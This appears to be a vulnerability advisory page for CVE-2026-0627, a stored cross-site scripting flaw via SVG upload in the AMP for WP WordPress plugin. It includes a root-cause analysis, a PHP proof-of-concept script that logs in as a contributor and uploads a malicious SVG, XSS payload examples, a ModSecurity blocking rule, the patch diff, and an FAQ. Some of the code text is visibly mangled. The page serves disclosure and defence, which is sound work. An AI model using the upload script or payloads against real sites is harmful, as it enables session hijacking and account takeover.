“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-0627:nThe AMP for WordPress plugin, versions 1.1.10 and earlier, contains an authenticated stored cross-site scripting vulnerability. The vulnerability resides in the plugin’s SVG file upload sanitization function. Attackers with Contributor-level access or higher can upload malicious SVG files containing JavaScript payloads that execute when the file is viewed. The CVSS score of 6.4 reflects the authentication requirement and potential impact on site integrity.nnThe root cause is insufficient sanitization in the ampforwp_sanitize_svg_file function within accelerated-mobile-pages/templates/features.php. The vulnerable version only removes tags using a simple regex pattern (line 10373: preg_replace(‘/]*>(.*?)/is’, ”, $svg_content)). This approach fails to address other XSS vectors including event handler attributes (onload, onerror, onmouseover), foreignObject elements, and SVG animation attributes. The function ampforwp_sanitize_svg_upload (lines 10340-10354) triggers this sanitization only based on MIME type detection, without comprehensive content validation.nnExploitation requires an authenticated attacker with at least Contributor privileges to upload an SVG file through WordPress media upload interfaces. The attacker crafts an SVG containing XSS payloads using event handlers like onload=”alert(document.cookie)” within SVG elements, foreignObject elements containing HTML/JavaScript, or SVG animation attributes with embedded scripts. When any user views the uploaded SVG file directly or when it’s embedded in a page, the malicious JavaScript executes in the victim’s browser context.nnThe patch in version 1.1.11 completely rewrites the sanitization logic. It replaces the single regex pattern with a multi-layered approach using DOMDocument when available (lines 10389-196). The new ampforwp_sanitize_svg_file function now removes script tags, foreignObject elements, and event handler attributes via XPath queries. A fallback function ampforwp_sanitize_svg_fallback provides regex-based sanitization when DOMDocument is unavailable. The patch also adds MIME type and file extension validation, introduces a filter hook for controlled bypass, and extends sanitization to existing files during updates via the wp_handle_upload filter.nnSuccessful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the malicious SVG. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. Since the payload is stored in the WordPress media library, it persists across sessions and affects all users who access the file, making this a persistent threat vector.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-0627 – AMP for WP <= 1.1.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via SVG File Uploadn<?phpnn$target_url = 'http://vulnerable-wordpress-site.com';n$username = 'contributor_user';n$password = 'contributor_password';nn// Malicious SVG with multiple XSS vectorsn$svg_payload = 'nn n n n alert(‘XSS via foreignObject’)n n n n’;nn// Create temporary file for uploadn$tmp_file = tempnam(sys_get_temp_dir(), ‘xss_’);nfile_put_contents($tmp_file, $svg_payload);nn// Initialize cURL session for loginn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-login.php’);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);nn// Check if login succeeded by looking for dashboard elementsnif (strpos($response, ‘wp-admin-bar’) === false) {n echo “Login failed. Check credentials.\n”;n exit;n}nnecho “Logged in successfully.\n”;nn// Get nonce for media upload (from AJAX endpoint)ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘action’ => ‘wp-ajax-upload-attachment’n]));n$ajax_response = curl_exec($ch);nn// Extract nonce from page (simplified – real implementation would parse HTML)n// For demonstration, we’ll use a placeholdern$upload_nonce = ‘media_upload_nonce_placeholder’;nn// Prepare file uploadn$post_data = [n ‘name’ => ‘xss.svg’,n ‘action’ => ‘upload-attachment’,n ‘_wpnonce’ => $upload_nonce,n ‘async-upload’ => new CURLFile($tmp_file, ‘image/svg+xml’, ‘xss.svg’)n];nncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/async-upload.php’);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);n$upload_response = curl_exec($ch);nn// Check upload successnif (strpos($upload_response, ‘success’) !== false || strpos($upload_response, ‘url’) !== false) {n echo “SVG file uploaded successfully.\n”;n echo “Payload will execute when users view the uploaded SVG file.\n”;n n // Extract file URL from response (simplified)n preg_match(‘/”url”:”([^”]+)”/’, $upload_response, $matches);n if (!empty($matches[1])) {n $svg_url = stripslashes($matches[1]);n echo “SVG accessible at: ” . $svg_url . “\n”;n echo “Visit this URL to trigger the XSS payload.\n”;n }n} else {n echo “Upload failed. Response: ” . substr($upload_response, 0, 200) . “…\n”;n}nn// Cleanupncurl_close($ch);nunlink($tmp_file);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-0627nSecRule REQUEST_URI “@streq /wp-admin/async-upload.php” \n “id:1000627,phase:2,deny,status:403,chain,msg:’CVE-2026-0627: AMP for WP SVG XSS upload attempt’,severity:’CRITICAL’,tag:’CVE-2026-0627′,tag:’WordPress’,tag:’AMP-for-WP’,tag:’XSS'”n SecRule FILES “@rx \.svg$” “chain”n SecRule FILES_TMP_CONTENT “@rx (?i)(on[a-z]+\s*=|foreignObject|]*>|]*onbegin)” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E””
}
“`

CVE-2026-0627: AMP for WP <= 1.1.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via SVG File Upload (accelerated-mobile-pages)
CVE-2026-0627
accelerated-mobile-pages
1.1.10
1.1.11
Analysis Overview
Differential between vulnerable and patched code
--- a/accelerated-mobile-pages/accelerated-moblie-pages.php
+++ b/accelerated-mobile-pages/accelerated-moblie-pages.php
@@ -3,7 +3,7 @@
Plugin Name: Accelerated Mobile Pages
Plugin URI: https://wordpress.org/plugins/accelerated-mobile-pages/
Description: AMP for WP - Accelerated Mobile Pages for WordPress
-Version: 1.1.10
+Version: 1.1.11
Author: Ahmed Kaludi, Mohammed Kaludi
Author URI: https://ampforwp.com/
Donate link: https://www.paypal.me/Kaludi/25
@@ -20,7 +20,7 @@
define('AMPFORWP_DISQUS_URL',plugin_dir_url(__FILE__).'includes/disqus.html');
define('AMPFORWP_IMAGE_DIR',plugin_dir_url(__FILE__).'images');
define('AMPFORWP_MAIN_PLUGIN_DIR', plugin_dir_path( __DIR__ ) );
-define('AMPFORWP_VERSION','1.1.10');
+define('AMPFORWP_VERSION','1.1.11');
define('AMPFORWP_EXTENSION_DIR',plugin_dir_path(__FILE__).'includes/options/extensions');
define('AMPFORWP_ANALYTICS_URL',plugin_dir_url(__FILE__).'includes/features/analytics');
if(!defined('AMPFROWP_HOST_NAME')){
--- a/accelerated-mobile-pages/templates/features.php
+++ b/accelerated-mobile-pages/templates/features.php
@@ -10340,13 +10340,32 @@
* Sanitize SVG files before upload.
*
* This function checks if the uploaded file is an SVG. If it is, it sanitizes the SVG file by removing
- * any <script> tags and their content.
+ * script tags, event handlers, foreignObject elements, and other XSS vectors. Users with the
+ * 'unfiltered_html' capability can upload unfiltered SVG files.
*
* @param array $file An array of file information.
* @return array The modified file information array with sanitized SVG file path.
*/
function ampforwp_sanitize_svg_upload( $file ) {
+ // Check both MIME type and file extension to catch SVG files
+ $is_svg = false;
if ( isset( $file['type'] ) && 'image/svg+xml' === $file['type'] ) {
+ $is_svg = true;
+ } elseif ( isset( $file['name'] ) && preg_match( '/.svg$/i', $file['name'] ) ) {
+ // Fallback: check file extension if MIME type is not set correctly
+ $is_svg = true;
+ }
+
+ if ( $is_svg ) {
+ // Allow filtering to skip sanitization for specific users/roles
+ // By default, sanitize all SVG uploads regardless of user capabilities
+ // Site owners can use this filter to bypass sanitization for trusted users
+ $skip_sanitization = apply_filters( 'ampforwp_skip_svg_sanitization', false, $file );
+
+ if ( $skip_sanitization ) {
+ return $file;
+ }
+
$file['tmp_name'] = ampforwp_sanitize_svg_file( $file['tmp_name'] );
}
return $file;
@@ -10354,7 +10373,7 @@
/**
- * Sanitize SVG file by removing <script> tags and their content.
+ * Sanitize SVG file by removing script tags, event handlers, foreignObject elements, and other XSS vectors.
*
* @param string $file_path The path to the SVG file.
* @return string The path to the sanitized SVG file.
@@ -10370,13 +10389,196 @@
$svg_content = $wp_filesystem->get_contents( $file_path );
- $sanitized_svg = preg_replace( '/<scriptb[^>]*>(.*?)</script>/is', '', $svg_content );
+ if ( empty( $svg_content ) ) {
+ return $file_path;
+ }
+
+ // Use DOMDocument for proper XML parsing if available
+ if ( class_exists( 'DOMDocument' ) ) {
+ libxml_use_internal_errors( true );
+ $dom = new DOMDocument();
+ $dom->formatOutput = false;
+ $dom->preserveWhiteSpace = true;
+
+ // Load SVG with UTF-8 encoding
+ // Disable entity loading to prevent XXE attacks (PHP < 8.0)
+ if ( function_exists( 'libxml_disable_entity_loader' ) ) {
+ $old_value = libxml_disable_entity_loader( true );
+ }
+ $success = @$dom->loadXML( $svg_content, LIBXML_NOBLANKS );
+ if ( function_exists( 'libxml_disable_entity_loader' ) && isset( $old_value ) ) {
+ libxml_disable_entity_loader( $old_value );
+ }
+
+ if ( $success ) {
+ $xpath = new DOMXPath( $dom );
+
+ // Register SVG namespace
+ $xpath->registerNamespace( 'svg', 'http://www.w3.org/2000/svg' );
+
+ // Remove script tags (try both namespaced and non-namespaced)
+ $scripts = $xpath->query( '//svg:script | //script' );
+ foreach ( $scripts as $script ) {
+ if ( $script->parentNode ) {
+ $script->parentNode->removeChild( $script );
+ }
+ }
+
+ // Remove foreignObject elements (can contain HTML/JS)
+ $foreign_objects = $xpath->query( '//svg:foreignObject | //foreignObject' );
+ foreach ( $foreign_objects as $foreign_object ) {
+ if ( $foreign_object->parentNode ) {
+ $foreign_object->parentNode->removeChild( $foreign_object );
+ }
+ }
+
+ // Remove event handler attributes (on* attributes)
+ // Query all elements (both namespaced and non-namespaced)
+ $all_elements = $xpath->query( '//*' );
+ foreach ( $all_elements as $element ) {
+ if ( $element->hasAttributes() ) {
+ $attributes_to_remove = array();
+ // Create a snapshot of attributes to iterate over (since we'll be modifying the list)
+ $attr_list = array();
+ foreach ( $element->attributes as $attr ) {
+ $attr_list[] = $attr;
+ }
+
+ // Check each attribute
+ foreach ( $attr_list as $attr ) {
+ // Get both local name and full name to handle namespaced attributes
+ $attr_local_name = strtolower( $attr->localName ? $attr->localName : $attr->nodeName );
+ $attr_node_name = strtolower( $attr->nodeName );
+
+ // Remove event handlers (on* attributes) - check both local name and full name
+ // Also check for common event handler patterns
+ if ( preg_match( '/^on[a-z]+/i', $attr_local_name ) ||
+ preg_match( '/^on[a-z]+/i', $attr_node_name ) ||
+ strpos( $attr_local_name, 'on' ) === 0 ||
+ strpos( $attr_node_name, 'on' ) === 0 ) {
+ $attributes_to_remove[] = $attr->nodeName;
+ }
+ }
+
+ // Remove the identified event handler attributes
+ foreach ( $attributes_to_remove as $attr_name ) {
+ // Try removing by both the full name and local name
+ if ( $element->hasAttribute( $attr_name ) ) {
+ $element->removeAttribute( $attr_name );
+ }
+ // Also try removing by local name if different
+ $local_name = strpos( $attr_name, ':' ) !== false ? substr( $attr_name, strpos( $attr_name, ':' ) + 1 ) : $attr_name;
+ if ( $local_name !== $attr_name && $element->hasAttribute( $local_name ) ) {
+ $element->removeAttribute( $local_name );
+ }
+ }
+ }
+ }
+
+ $sanitized_svg = $dom->saveXML();
+ libxml_clear_errors();
+
+ // Additional safety pass: use regex to catch any event handlers that DOMDocument might have missed
+ // This provides defense in depth
+ $sanitized_svg = ampforwp_sanitize_svg_fallback( $sanitized_svg );
+ } else {
+ // Fallback to regex if DOMDocument fails
+ $sanitized_svg = ampforwp_sanitize_svg_fallback( $svg_content );
+ }
+ } else {
+ // Fallback to regex if DOMDocument is not available
+ $sanitized_svg = ampforwp_sanitize_svg_fallback( $svg_content );
+ }
$wp_filesystem->put_contents( $file_path, $sanitized_svg, FS_CHMOD_FILE );
return $file_path;
}
+/**
+ * Fallback SVG sanitization using regex when DOMDocument is not available.
+ *
+ * @param string $svg_content The SVG content to sanitize.
+ * @return string The sanitized SVG content.
+ */
+function ampforwp_sanitize_svg_fallback( $svg_content ) {
+ // Remove script tags and their content
+ $sanitized_svg = preg_replace( '/<scriptb[^>]*>(.*?)</script>/is', '', $svg_content );
+
+ // Remove foreignObject elements
+ $sanitized_svg = preg_replace( '/<foreignObjectb[^>]*>.*?</foreignObject>/is', '', $sanitized_svg );
+
+ // Remove event handler attributes (on* attributes) - comprehensive approach
+ // List of common event handlers to explicitly remove
+ $event_handlers = array(
+ 'onabort', 'onblur', 'oncanplay', 'oncanplaythrough', 'onchange', 'onclick', 'oncontextmenu',
+ 'oncuechange', 'ondblclick', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover',
+ 'ondragstart', 'ondrop', 'ondurationchange', 'onemptied', 'onended', 'onerror', 'onfocus',
+ 'oninput', 'oninvalid', 'onkeydown', 'onkeypress', 'onkeyup', 'onload', 'onloadeddata',
+ 'onloadedmetadata', 'onloadstart', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove',
+ 'onmouseover', 'onmouseout', 'onmouseup', 'onpause', 'onplay', 'onplaying', 'onprogress',
+ 'onratechange', 'onreset', 'onresize', 'onscroll', 'onseeked', 'onseeking', 'onselect',
+ 'onshow', 'onstalled', 'onsubmit', 'onsuspend', 'ontimeupdate', 'ontoggle', 'onvolumechange',
+ 'onwaiting', 'onwheel', 'onbegin', 'onend', 'onrepeat'
+ );
+
+ // Remove each event handler with various quote styles and formats
+ foreach ( $event_handlers as $handler ) {
+ // Pattern 1: handler="value" with double quotes (multiline, dotall)
+ $sanitized_svg = preg_replace( '/s+' . preg_quote( $handler, '/' ) . 's*=s*"[^"]*"/is', '', $sanitized_svg );
+ // Pattern 2: handler='value' with single quotes
+ $sanitized_svg = preg_replace( '/s+' . preg_quote( $handler, '/' ) . 's*=s*'[^']*'/is', '', $sanitized_svg );
+ // Pattern 3: handler=value without quotes
+ $sanitized_svg = preg_replace( '/s+' . preg_quote( $handler, '/' ) . 's*=s*[^s>/"'=]+/i', '', $sanitized_svg );
+ // Pattern 4: handler at start of line or after > (no leading whitespace requirement)
+ $sanitized_svg = preg_replace( '/(s|>|^)' . preg_quote( $handler, '/' ) . 's*=s*"[^"]*"/i', '$1', $sanitized_svg );
+ $sanitized_svg = preg_replace( '/(s|>|^)' . preg_quote( $handler, '/' ) . 's*=s*'[^']*'/i', '$1', $sanitized_svg );
+ }
+
+ // Also remove any remaining on* attributes using generic pattern (catch-all)
+ // Match on[letters]="..." with double quotes
+ $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+ // Match on[letters]='...' with single quotes
+ $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+ // Match on[letters]=value without quotes
+ $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*[^s>/"'=]+/i', '', $sanitized_svg );
+ // Final catch-all without leading whitespace requirement
+ $sanitized_svg = preg_replace( '/on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+ $sanitized_svg = preg_replace( '/on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+ $sanitized_svg = preg_replace( '/on[a-z]+s*=s*[^s>/"'=]+/i', '', $sanitized_svg );
+
+ // Apply patterns multiple times to catch any edge cases (defense in depth)
+ $previous_svg = '';
+ $iterations = 0;
+ while ( $previous_svg !== $sanitized_svg && $iterations < 5 ) {
+ $previous_svg = $sanitized_svg;
+ // Re-apply the generic patterns
+ $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+ $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+ $sanitized_svg = preg_replace( '/on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+ $sanitized_svg = preg_replace( '/on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+ $iterations++;
+ }
+
+ return $sanitized_svg;
+}
+
+// Also sanitize existing SVG files when they are edited/updated
+add_filter( 'wp_handle_upload', 'ampforwp_sanitize_existing_svg_on_update', 10, 2 );
+function ampforwp_sanitize_existing_svg_on_update( $upload, $context ) {
+ // Check if this is an SVG file
+ if ( isset( $upload['type'] ) && 'image/svg+xml' === $upload['type'] ) {
+ // Allow filtering to skip sanitization
+ $skip_sanitization = apply_filters( 'ampforwp_skip_svg_sanitization', false, $upload );
+
+ if ( ! $skip_sanitization && isset( $upload['file'] ) && file_exists( $upload['file'] ) ) {
+ // Sanitize the uploaded file
+ ampforwp_sanitize_svg_file( $upload['file'] );
+ }
+ }
+ return $upload;
+}
+
if(defined('JNEWS_THEME_CLASS')){
add_action('ampforwp_post_subtitle','ampforwp_post_subtitle');
}
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
Frequently Asked Questions
What is CVE-2026-0627?
Overview of the vulnerabilityCVE-2026-0627 is a stored cross-site scripting (XSS) vulnerability found in the AMP for WP plugin for WordPress, affecting versions up to 1.1.10. It allows authenticated users with Contributor-level access or higher to upload malicious SVG files that can execute arbitrary JavaScript when viewed.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient sanitization of SVG file content during uploads. The plugin only removes certain tags, allowing attackers to include event handlers and other XSS vectors, which execute when the SVG file is viewed by other users.
Who is affected by this vulnerability?
Identifying vulnerable users and installationsAny WordPress site using the AMP for WP plugin version 1.1.10 or earlier is affected. Specifically, users with Contributor-level access or higher can exploit this vulnerability by uploading malicious SVG files.
How can I check if my site is vulnerable?
Steps for vulnerability assessmentTo check if your site is vulnerable, verify the version of the AMP for WP plugin installed. If it is version 1.1.10 or earlier, your site is susceptible to this vulnerability. Additionally, review user roles to identify if any users with Contributor access or higher can upload files.
How can I fix this vulnerability?
Recommended actions for remediationThe vulnerability can be fixed by updating the AMP for WP plugin to version 1.1.11 or later, which includes the necessary patches to properly sanitize SVG uploads. Regularly updating all plugins is a best practice for maintaining site security.
What does a CVSS score of 6.4 indicate?
Understanding the severity ratingA CVSS score of 6.4 indicates a medium severity level for this vulnerability. This suggests that while exploitation requires authentication, there is a significant risk of impact on site integrity and user security, particularly if exploited.
What are the practical risks of this vulnerability?
Potential consequences of exploitationIf exploited, this vulnerability could allow attackers to inject malicious scripts that execute in the context of any user viewing the SVG file. This could lead to session hijacking, content defacement, or redirection to malicious sites, posing a serious risk to user security.
How does the proof of concept demonstrate the issue?
Technical demonstration of exploitationThe proof of concept illustrates how an authenticated attacker can upload a crafted SVG file containing XSS payloads. It outlines the steps to authenticate, upload the malicious file, and the expected behavior when users access the SVG, demonstrating the vulnerability’s impact.
What is SVG file upload sanitization?
Importance of proper file handlingSVG file upload sanitization is the process of validating and cleaning SVG files before they are stored or rendered on a website. Proper sanitization is crucial to prevent XSS attacks, as SVG files can contain executable scripts that pose security risks.
What changes were made in version 1.1.11?
Details of the patchVersion 1.1.11 of the AMP for WP plugin introduces a comprehensive sanitization approach using DOMDocument to remove not only script tags but also event handlers and foreignObject elements. This update effectively mitigates the risks associated with SVG file uploads.
How can I further protect my WordPress site?
Additional security measuresIn addition to updating plugins, consider implementing a Web Application Firewall (WAF), regularly auditing user permissions, and employing security plugins that monitor file uploads. Regular backups and security scans can also enhance your site’s resilience against vulnerabilities.
What should I do if I cannot update the plugin immediately?
Interim mitigation strategiesIf immediate updates are not possible, consider disabling SVG file uploads entirely or restricting upload permissions for users with Contributor access or higher. Additionally, monitor your site for suspicious activities and consider implementing temporary security measures until the plugin can be updated.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






